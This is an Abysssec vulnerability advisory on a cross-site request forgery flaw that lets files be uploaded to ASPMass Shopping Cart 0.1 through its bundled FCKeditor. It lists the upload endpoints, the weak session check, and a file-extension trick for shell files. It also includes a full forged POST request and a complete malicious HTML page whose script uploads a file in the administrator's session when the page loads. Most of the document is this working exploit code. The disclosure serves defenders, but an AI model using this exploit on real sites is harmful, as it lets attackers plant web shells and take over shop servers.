# MOAUB

# Abysssec Research

## 1) Advisory information

| | |
|---|---|
| Title | : ASPMass Shopping Cart Vulnerability File Upload CSRF |
| Affected | : ASPMass Shopping Cart 0.1 |
| Discovery | : www.abysssec.com |
| Vendor | : http://www.joenasejes.cz.cc |
| Impact | : Critical |
| Contact | : shahin [at] abysssec.com , info [at] abysssec.com |
| Twitter | : @abysssec |

## 2) Vulnerability Information

Class

1- **CSRF**

**Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying application.**

Remotely Exploitable

**Yes**

Locally Exploitable

**No**

## 3) Vulnerabilities detail

## 1- CSRF for file upload

This version of ASP Shopping Cart has CSRF vulnerability for upload a file with fckEditor. but we have two limitation:

1- We need Admin's Cookie

2- Specific file extension implementing by FckEditor v2 and bypassing this barrier is on you.

For example the file with this extension shell.aspx;me.xml

Will be upload with this extension:     shell_aspx;me.xml

You can upload your file with this paths: (of course with CSRF)

```
http://Example.com/Images/js/fckeditor/editor/filemanager/connectors/aspx/upload.aspx?Type=File
http://Example.com/Images/js/fckeditor/editor/filemanager/connectors/test.html
http://Example.com/Images/js/fckeditor/editor/filemanager/connectors/uploadtest.html
```

Uploaded files will be placing in this path:

```
   .../Files/site/file/
   .../Files/site/flash/
   .../Files/site/image/
   .../Files/site/media/
```

Vulnerable Code:

The misconfiguration is in ...\Images\js\fcKeditor\editor\filemanager\connectors\aspx\config.ascx

```
   ln 40:
        private bool CheckAuthentication()
            {
         if (Session["AdminLogedIn"] == "Yes")
                 {
                 return true;
                 }
         else
         {
                 return false;
                 }
            }
```

For example you can feed this POST Request to Admin :

```
  POST
http://Example.com/Images/js/fckeditor/editor/filemanager/connectors/aspx/upload.aspx?Type=File&CurrentFolder=/ HTTP/1.1
  Host: Example.com
  User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729
```

```
Firefox/3.5.2
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-us,en;q=0.5
  Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  Keep-Alive: 300
  Proxy-Connection: keep-alive
  Referer: http://Example.com/Images/js/fckeditor/editor/filemanager/connectors/uploadtest.html
  Cookie: ASP.NET_SessionId=ejskxhea4eqnkirsbxebj145
  Content-Type: multipart/form-data; boundary=---------------------------92203111132182
  Content-Length: 198


  -----------------------------92203111132182
  Content-Disposition: form-data; name="NewFile"; filename="Test.xml"
  Content-Type: text/plain


This is a shell...
  -----------------------------92203111132182--
```

With this POST Request, the file Test.xml uploads i this path:

```
.../Files/site/
```

The Source of HTML Page Malicious Link)

With this page, we send a request with AJAX to upload a file with Admin's Cookie.

```
<html>
<head>
<title >Wellcome to ASP Shopping Cart!</title>
Hello!
...
...
...
This page uploads a file with "xml" extension

<script>

  var binary;
  var filename;

  function FileUpload() {
    try {
      netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
```

```
        } catch (e) {
        }

        var http = false;
        if (window.XMLHttpRequest) {
           http = new XMLHttpRequest();
        }
        else if (window.ActiveXObject) {
           http = new ActiveXObject("Microsoft.XMLHTTP");
        }

        var url =
"http://Example.com/Images/js/fckeditor/editor/filemanager/connectors/aspx/upload.aspx?Type=Fi
le&CurrentFolder=/";
        var filename = 'Test.xml';
        var filetext = ' This is a shell ... ';

        var boundaryString = '---------------------------92203111132182';
        var boundary = '--' + boundaryString;
        var requestbody = boundary + '\n'
                + 'Content-Disposition: form-data; name="NewFile"; filename="'
                + filename + '"' + '\n'
           + 'Content-Type: text/plain' + '\n'
                + '\n'
                + filetext
                + '\n'
                + boundary;

        http.onreadystatechange = done;
        http.open('POST', url, true);

        http.setRequestHeader("Content-type", "multipart/form-data; boundary=" + boundaryString);
        http.setRequestHeader("Connection", "close");
        http.setRequestHeader("Content-length", requestbody.length);
        http.send(requestbody);
        }
        function done() {
           if (http.readyState == 4 && http.status == 200) {
              //alert(http.responseText);
              //alert('Upload OK');
           }
        }
</script>
</head>
<body onload ="FileUpload();">
</body>
</html>
```